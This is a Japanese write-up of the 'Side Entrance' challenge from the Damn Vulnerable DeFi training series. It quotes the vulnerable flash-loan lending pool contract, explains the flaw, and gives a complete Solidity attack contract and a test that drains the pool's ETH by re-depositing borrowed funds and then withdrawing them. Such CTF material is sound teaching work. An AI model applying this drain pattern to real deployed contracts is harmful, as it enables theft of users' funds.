Damn Vulnerable DeFiは、DeFi スマートコントラクト攻撃のチャレンジシリーズです。内容には、フラッシュローン攻撃、レンディングプール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript の関連スキルが必要です。各問題に対して、単体テストがパスすることを確認する必要があります。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/4.html
問題の説明:
レンディングプールコントラクトがあり、誰でも ETH を預け入れ、いつでも引き出すことができます。このレンディングプールにはすでに 1000ETH の残高があり、預け入れた ETH を無料のフラッシュローンとして提供してシステムを宣伝しています。
あなたがする必要があるのは、レンディングプールからすべての ETH を引き出すことです。
レンディングプールコントラクト SideEntranceLenderPool.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
// フラッシュローン機能を使用するためのコントラクトインターフェース
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @dev Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)から引用
*/
contract SideEntranceLenderPool {
using Address for address payable;
// アドレスに対応する残高のマッピング
mapping (address => uint256) private balances;
// 資金を預け入れ、残高を記録する
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 引き出し関数
function withdraw() external {
// 呼び出し元の利用可能な残高を取得
uint256 amountToWithdraw = balances[msg.sender];
// 残高をゼロにする
balances[msg.sender] = 0;
// 利用可能な残高を呼び出し元に転送する
payable(msg.sender).sendValue(amountToWithdraw);
}
// フラッシュローン関数
function flashLoan(uint256 amount) external {
// 残高を取得
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
// フラッシュローンを使用するコントラクトのexecute関数をコールバックする
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 残高が返却されたことを確認する
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
このレンディングプールコントラクトは資金の預け入れを許可し、他の人が無料でフラッシュローン機能を使用できるようにしています。
このコントラクトは deposit
関数を提供しているため、借りた ETH をこの関数に呼び出して預けることで、flashLoan
の最後の返済要件を満たすことができます。また、手動で withdraw
関数を呼び出して残高を引き出すこともできます。
したがって、攻撃用のコントラクト SideEntranceAttack.sol
が必要です。
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";
contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
using Address for address payable;
// レンディングプールコントラクト
SideEntranceLenderPool public pool;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
}
// フラッシュローン関数
function flashLoan() external onlyOwner {
// レンディングプールコントラクトの flashLoan 関数を呼び出して残高をすべて借り出す
pool.flashLoan(address(pool).balance);
// 残高を引き出し、その残高を攻撃者のアドレスに転送する
pool.withdraw();
payable(msg.sender).sendValue(address(this).balance);
}
function execute() external override payable {
require(msg.sender == address(pool), "caller not the pool");
// 借り出したETHを再度預け入れる
pool.deposit{value: msg.value}();
}
receive () external payable {}
}
攻撃手順:
- レンディングプールコントラクトの
flashLoan
関数を呼び出して、残高をすべて借り出す - レンディングプールコントラクトがコールバックを実行 -
execute
を呼び出し、この関数内で借り出した ETH をレンディングプールコントラクトに預け入れる - レンディングプールコントラクトの
withdraw
関数を呼び出して、預け入れた ETH をこのコントラクトに引き出す - コントラクトの残高を攻撃者のアドレスに転送する
最後に、テストケース side-entrance.challenge.js
に実行コードを記述します。
it('Exploit', async function () {
// 攻撃者のアドレスで攻撃用コントラクトをデプロイ
const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)
await sideEntranceReveive.flashLoan()
})
yarn side-entrance
を実行してテストがパスすることを確認します!